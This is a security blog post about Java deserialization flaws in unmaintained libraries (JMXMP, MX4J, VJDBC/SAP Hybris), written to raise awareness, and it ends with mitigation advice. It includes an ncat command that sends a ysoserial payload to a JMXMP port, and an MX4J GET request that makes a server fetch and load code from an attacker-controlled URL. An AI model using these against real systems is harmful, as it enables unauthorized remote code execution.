Java is known for its backward-compatibility. You can still execute code that was written many years ago, as long as you use an appropriate version of Java. Thanks to this feature, modern projects use a wide range of libraries that have been “tested by time” in production. However, such libraries are often left unsupported by maintainers for a long time. As a result, when you discover a vulnerability in a library, you may find it very hard to report the issue and to warn the developers who use that library.
Here are a few examples of such problems related to old libraries, which I recently came across when exploiting vulnerabilities as part of various bug bounty programs.
JMX and JMXMP
JMX (Java Management Extensions) is a well-known and widely-used technology for monitoring and managing Java applications. Since the Java deserialization “apocalypse”, it is perceived as quite notorious for security specialists. JMX uses the RMI protocol for transport purposes, which makes it inherently vulnerable to Java deserialization attacks. However, Oracle introduced the specification JEP-290 (JDK ≥ 8u121, ≥ 7u131, ≥ 6u141), which made such attacks much harder.
It turns out that according to the JMX specification (JSR-160), JMX also supports other transport protocols (called connectors), including the JMX Messaging Protocol (JMXMP) – a protocol specially created for JMX. However, this protocol was not included in Java SE and so it never became popular. One of the main advantages of JMXMP in comparison to RMI is the fact that JMXMP requires only one TCP port (RMI uses one static port for the RMI registry and another dynamically chosen port for actual interaction with a client). This fact makes JMXMP much more convenient when you need to restrict access using a firewall or when you want to set up port forwarding.
Despite the fact that libraries implementing JMXMP (jmxremote_optional.jar, opendmk_jmxremote_optional_jar-1.0-b01-ea.jar) have not been updated for at least ten years, JMXMP is still alive and used from time to time. For example, JMXMP is used in the Kubernetes environment and support for JMXMP has recently been added to Elassandra.
The problem with JMXMP is that this protocol completely relies on Java serialization for data transfer. At the same time, Oracle patches for JMX/RMI vulnerabilities don’t cover JMXMP, which makes it open to the Java deserialization attack. To exploit this vulnerability, you don’t even need to understand the protocol or the format of the data, just send a serialized payload from ysoserial directly to a JMXMP port:
ncat target.server.com 11099 < test.jser
If you cannot exploit this Java deserialization vulnerability (due to the lack of gadgets in the application classpath), you still can use other methods like uploading your MBean or misusing existing MBean methods. In order to connect to such JMX, you need to download the necessary package, add it to the classpath, and use the following format to specify the JMX endpoint: service:jmx:jmxmp://target.server.com:port/.
For example:
jconsole -J-Djava.class.path="%JAVA_HOME%/lib/jconsole.jar";"%JAVA_HOME%/lib/opendmk_jmxremote_optional_jar-1.0-b01-ea.jar" service:jmx:jmxmp://target.server.com:port/
You can also use MJET but it requires similar changes to the code.
MX4J
MX4J is an open-source implementation of JMX. It also provides an HTTP adapter that exposes JMX through HTTP (it works as a servlet). The problem with MX4J is that by default it doesn’t provide authentication. To exploit it, we can deploy a custom MBean using MLet (upload and execute the code). To upload the payload, you can use MJET. To force MX4J to get the MBean, you need to send a GET request to:
/invoke?objectname=DefaultDomain:type=MLet&operation=getMBeansFromURL&type0=java.lang.String&value0=http://yourserver/with/mlet
MX4J has not been updated for 15 years, but it is used by such software as Cassandra (in a non-default configuration). Your “homework” now is to look deeper into it and search for vulnerabilities. Note the use of hessian and burlap protocols as JMX-connectors, which are also vulnerable to deserialization attacks in a default configuration.
VJDBC
Virtual JDBC is an old library that provides access to a database using JDBC via other protocols (HTTP, RMI). In the case of HTTP, it provides a servlet, which you can use to send a special HTTP request that includes an SQL query and receive a result from a DB used by the web application. Unfortunately, VJDBC also uses Java serialization (via HTTP) to interact with the servlet.
If you use Google to search for this term, you will find that almost every search result is related to SAP Hybris. SAP Hybris is a major eCommerce/CRM platform used by many large enterprises. By default, SAP Hybris exposes the vjdbc-servlet that is vulnerable to an RCE caused by Java deserialization – CVE-2019-0344 (and which had other serious security issues in the past as well). A test for this vulnerability was added to Acunetix in September 2019. Unfortunately, it looks like SAP fixed only their internal version of VJDBC, and therefore all other software that depends on this library is vulnerable and its creators are probably unaware of the problem.
No Way Out
I was unable to report vulnerabilities in these libraries. For example, in the case of JMXMP, Oracle doesn’t support JDMK anymore at all. The only thing I could do is send reports directly to big projects that use these vulnerable libraries. I also wanted to use this article to increase awareness so please share it if you believe any of your colleagues might be using these libraries.
If you still rely on these libraries, try to find a safe alternative. If it’s impossible, restrict access to them and/or use process-level filters described in JEP-290 to protect against deserialization and/or put the application in a sandbox. Also, since these are open-source libraries, you can patch them manually.
Also, whenever you’re planning to use a package/library, make sure that it’s still supported and that there are still maintainers. In all the above cases, if maintainers still supported these projects, they could easily find and fix such vulnerabilities.
It would also be great if in the future Java and other languages would get a centralized method for reporting vulnerabilities in public packages/libraries, similar to the excellent central reporting system for Node.js.
Get the latest content on web security
in your inbox each week.